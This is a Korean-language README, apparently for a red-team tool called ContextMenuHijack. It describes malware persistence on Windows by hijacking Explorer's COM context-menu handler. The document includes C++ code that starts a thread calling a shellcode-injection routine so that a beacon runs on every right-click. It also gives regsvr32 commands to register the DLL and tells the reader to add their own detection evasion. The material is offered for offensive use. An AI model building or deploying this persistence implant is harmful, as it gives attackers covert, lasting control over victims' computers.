
탐색기 메뉴에서 파일/폴더를 우클릭할 때마다 페이로드를 실행하여 지속성을 유지합니다.
저에게 영감을 준 이 독창적인 아이디어는 @NinjaParanoid의 것입니다:
ContextMenuHijack은 사용자 행동에 기반한 COM 하이재킹을 사용하는 간단한 지속성(persistence) 기술입니다. 파일 탐색기에서 파일/폴더를 마우스 오른쪽 버튼으로 클릭하여 상황에 맞는 메뉴(Context Menu)를 열면, 동시에 우리가 지정한 비콘(beacon)이 실행됩니다.
IFACEMETHODIMP FileContextMenuExt::Initialize( LPCITEMIDLIST pidlFolder, LPDATAOBJECT pDataObj, HKEY hKeyProgID ) {
DWORD tid = NULL;
CreateThread(NULL, 1024 * 1024, (LPTHREAD_START_ROUTINE)InjectShc, NULL, 0, &tid);
if (NULL == pDataObj) {
if (pidlFolder != NULL) {
}
return S_OK;
}
return S_OK;
}
솔루션 파일(.sln)을 로드하여 빌드하기만 하면 됩니다. 이 지속성 기술을 사용하려면 관리자 권한이 필요하다는 점을 아는 것이 중요합니다. 모든 작업을 마친 후에는 regsvr32로 레지스트리에 DLL 파일을 등록하기만 하면 됩니다:
regsvr32 "C:\path\to\ContextMenuHijack.dll"
제거하려면
/u플래그를 사용하면 됩니다
regsvr32 /u "C:\path\to\ContextMenuHijack.dll"

explorer.exe의 스레드 스택에서 쉽게 탐지될 수 있습니다. 자체 회피 기법을 사용하는 것은 여러분의 몫입니다
